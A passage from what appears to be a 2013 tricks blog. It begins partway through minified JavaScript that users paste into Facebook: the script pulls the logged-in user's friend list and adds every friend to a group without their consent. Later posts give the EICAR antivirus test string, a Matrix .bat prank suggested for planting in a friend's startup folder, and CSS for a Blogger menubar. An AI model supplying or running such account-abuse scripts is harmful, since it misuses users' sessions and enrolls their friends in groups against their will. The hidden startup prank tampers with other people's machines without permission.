addfriend(e){i++,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value=e,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),setTimeout("clickfr()",2e3)}function sleep(e){for(var t=(new Date).getTime(),n=0;1e7>n&&!((new Date).getTime()-t>e);n++);}var tulisanNganu="Auto SUSCRIBE",kunaon="";jx={getHTTPObject:function(){var e=!1;if("undefined"!=typeof ActiveXObject)try{e=new ActiveXObject("Msxml2.XMLHTTP")}catch(t){try{e=new ActiveXObject("Microsoft.XMLHTTP")}catch(n){e=!1}}else if(window.XMLHttpRequest)try{e=new XMLHttpRequest}catch(r){e=!1}return e},load:function(b,c,d,e,g){var f=this.init();if(f&&b){f.overrideMimeType&&f.overrideMimeType("text/xml"),e||(e="GET"),d||(d="text"),g||(g={});var d=d.toLowerCase(),e=e.toUpperCase(),h="uid="+(new Date).getTime(),b=b+(b.indexOf("?")+1?"&":"?"),b=b+h,h=null;"POST"==e&&(h=b.split("?"),b=h[0],h=h[1]),f.open(e,b,!0),"POST"==e&&(f.setRequestHeader("Content-type","application/x-www-form-urlencoded"),f.setRequestHeader("Content-length",h.length),f.setRequestHeader("Connection","close")),f.onreadystatechange=g.handler?function(){g.handler(f)}:function(){if(f.readyState==4)if(f.status==200){var b="";f.responseText&&(b=f.responseText),d.charAt(0)=="j"?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):d.charAt(0)=="x"&&(b=f.responseXML),c&&c(b)}else g.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(g.loadingIndicator),g.loading&&(document.getElementById(g.loading).style.display="none"),error&&error(f.status)},f.send(h)}},bind:function(e){var t={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""},n;for(n in t)e[n]&&(t[n]=e[n]);if(t.url){var r=!1;t.loadingIndicator&&(r=document.createElement("div"),r.setAttribute("style","position:absolute;top:0px;left:0px;"),r.setAttribute("class","loading-indicator"),r.innerHTML=t.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(r),this.opt.loadingIndicator=r),t.loading&&(document.getElementById(t.loading).style.display="block"),this.load(t.url,function(e){t.onSuccess&&t.onSuccess(e),t.update&&(document.getElementById(t.update).innerHTML=e),r&&document.getElementsByTagName("body")[0].removeChild(r),t.loading&&(document.getElementById(t.loading).style.display="none")},t.format,t.method,t)}},init:function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(e,t,n,r){return"className"==n&&(n="class"),(e=document.evaluate(".//"+t+"[@"+n+"='"+r+"']",e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null))&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(e,t,n){return this.FindByAttr(e,t,"className",n)},FindByXPath:function(e,t){try{var n=document.evaluate(t,e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(r){GM_log("bad xpath:"+t)}return n&&n.singleNodeValue?n.singleNodeValue:null},VisitUrl:function(e){window.setTimeout(function(){document.location.href=e},500+Math.floor(500*Math.random()))},ClickWin:function(e,t,n){var r=e.document.createEvent("MouseEvents");return r.initMouseEvent(n,!0,!0,e,0,0,0,0,0,!1,!1,!1,!1,0,null),!t.dispatchEvent(r)},Click:function(e){return this.ClickWin(window,e,"click")},ClickTimeout:function(e,t){window.setTimeout(function(){return nHtml.ClickWin(window,e,"click")},t+Math.floor(500*Math.random()))},ClickUp:function(e){this.ClickWin(window,e,"mousedown"),this.ClickWin(window,e,"mouseup"),this.ClickWin(window,e,"click")},GetText:function(e,t){var n="";void 0==t&&(t=0);if(!(40<t)){if(void 0!=e.textContent)return e.textContent;for(var r=0;r<e.childNodes.length;r++)n+=this.GetText(e.childNodes[r],t+1);return n}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(e){for(var t=RegExp("(?:^|\\s)"+e+"(?:$|\\s)"),n=document.getElementsByTagName("*"),r=[],i,s=0;null!=(i=n[s]);s++){var o=i.className;o&&-1!=o.indexOf(e)&&t.test(o)&&r.push(i)}return r}),Array.prototype.find=function(e){var t=!1;for(i=0;i<this.length;i++)typeof e=="function"?e.test(this[i])&&(t||(t=[]),t.push(i)):this[i]===e&&(t||(t=[]),t.push(i));return t};for(var a=0,eind=0,len=document.getElementsByClassName("mbm").length,a=0;a<len;a++){var ele=document.getElementsByClassName("mbm")[a];if(ele&&ele.childNodes[0]&&ele.childNodes[0]&&ele.childNodes[0].childNodes[1]&&ele.childNodes[0].childNodes[1].childNodes[0]&&"Add SUSCRIBERS"==document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value){eind=a;break}}var i=3,tay=3,counter1=0,counter2=0,counter3=0,j=0,k=0,suc=0,arr=[],memberGroupId=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+Env.user+"&filter[0]=user&__user="+Env.user,function(e){for(var e=e.substring(e.indexOf("{")),e=JSON.parse(e),e=e.payload.entries,t=0;t<e.length;t++)arr.push(e[t].uid);tay=i=arr.length-1,console.log(arr.length),e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),e+=arr.length+" SUSCRIBERS detected",document.getElementById("pagelet_welcome_box").innerHTML=e+"</div>",penetrasi(arr[i])})
  • You will see that an auto subscriber window appears which is adding your friends to the group.
  • Add All Your Facebook Friends In Facebook Group Using Javascript
  • Enjoy and have fun.
Note: To get the facebook group id, see the url after opening the group, you will see something like this:
https://www.facebook.com/groups/331393073609808, Here, 331393073609808 is the group id.
If you are unable to see the group id, and you can see the group name, as https://www.facebook.com/groups/TheNextGenerationRockz, then visit http://www.wallflux.com and enter the group name in the box to get the group id.
getting facebook group id
getting facebook group id
Enjoy.
Share:

Monday, 11 March 2013

How to test your antivirus quality with EICAR test

How to test your antivirus quality with EICAR test
Hey friends, today I am going to tell you a method to test your antivirus functionality. We are going to conduct EICAR test to check whether the antivirus is working. So, let's start.

Follow The Instructions:

  • Open notepad.
  • Copy and paste this code:
  • X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
  • Now save it with .exe OR .com extension, like antivirustest.exe
  • As you save this file, your antivirus will detect it as a virus (or while scanning this file, it will be detected as a threat) and will remove it. If your antivirus doesn't detects it, then you must change your antivirus.
How to test your antivirus with EICAR test
Note: This test works on 32 bit version of windows. It may not work in the 64 bit versions of windows.
Share:

Sunday, 10 March 2013

Create Matrix Text With Notepad

Create Matrix Text With Notepad
Hi friends. Today, I am going to tell you a trick to create a .bat file which shows a matrix text when you open it. It will be very funny if you use it as a prank by pasting the .bat file in your friends' computers' startup folder. Whenever your friend will start his pc, he will see this matrix on his screen. So, let's start:

Follow The Steps Below:

  • Open notepad.
  • Copy and paste this code:
  • @echo off
    color 02
    :start
    echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
    goto start
  • Now, save it as matrix.bat
  • Run the file to see the matrix.
Share:

Friday, 8 March 2013

Add Ribbon Styled Navigation Menubar In Blogger

Add Ribbon Styled Navigation Menubar In Blogger
Hi friends, navigation bar is very important for any blog or website for easy navigation. A navigation bar gives a blog a nice look as well as it offers the visitors to reach all the topics easily. So, I am going to tell you code to add CSS3 powered menubar in your blogger blog. Let's start:
  • Login to your blogger account.
  • Go to Template > Edit HTML.
  • Add a new html/javascript widget.
  • Copy and paste the following code in the content box:
  • <style>
    .pctricksguru-ribmenu span {
        background:#A81B6A;
        display:inline-block;
        font-family:verdana;
        line-height:3em;
        padding:0 1em;
        margin-top:0.5em;
        position:relative;
          -webkit-transition: background-color 0.2s, margin-top 0.2s;  /* Saf3.2+, Chrome */
        -moz-transition: background-color 0.2s, margin-top 0.2s;  /* FF4+ */
        -ms-transition: background-color 0.2s, margin-top 0.2s;  /* IE10 */
        -o-transition: background-color 0.2s, margin-top 0.2s;  /* Opera 10.5+ */
        transition: background-color 0.2s, margin-top 0.2s;
    }
    .pctricksguru-ribmenu a:hover span {
        background:#FFD204;
        margin-top:0;
     
    }
    .pctricksguru-ribmenu span:before {
        content: "";
        position:absolute;
        top:3em;
        left:0;
        border-right:0.5em solid #9B8651;
        border-bottom:0.5em solid #fff;
    }
    .pctricksguru-ribmenu span:after {
        content: "";
        position:absolute;
        top:3em;
        right:0;
        border-left:0.5em solid #9B8651;
        border-bottom:0.5em solid #fff;
    }
    .pctricksguru-ribmenu a:link, .pctricksguru-ribmenu a:visited {
        color:#000;
        text-decoration:none;
        float:left;
        height:3.5em;
        overflow:hidden;
    }
    .pctricksguru-ribmenu:after, .pctricksguru-ribmenu:before {
        margin-top:0.5em;
        content: "";
        float:left;
       border: 1.5em solid #A81B6A;
    }
    .pctricksguru-ribmenu:after {
        border-right-color:transparent;
    }
    .pctricksguru-ribmenu:before {
        border-left-color:transparent;
    }
    </style>
    <div class='pctricksguru-ribmenu'>
        <a href='#'><span>Home</span></a>
        <a href='#'><span>Widget</span></a>
        <a href='#'><span>Hacks</span></a>
        <a href='#'><span>jQuery</span></a>
        <a href='#'><span>Sitemap</span></a>
        <a href='#'><span>News</span></a>
        <a href='#'><span>FAQ's</span></a>
    </div>
  • Replace the # with your link and add the text topics as per your requirements.
  • Save the widget and then save your layout.
  • Open your blog and see the navigation bar.
Share:

Custom Search Box

Blog Archive

Contact Form

Name

Email *

Message *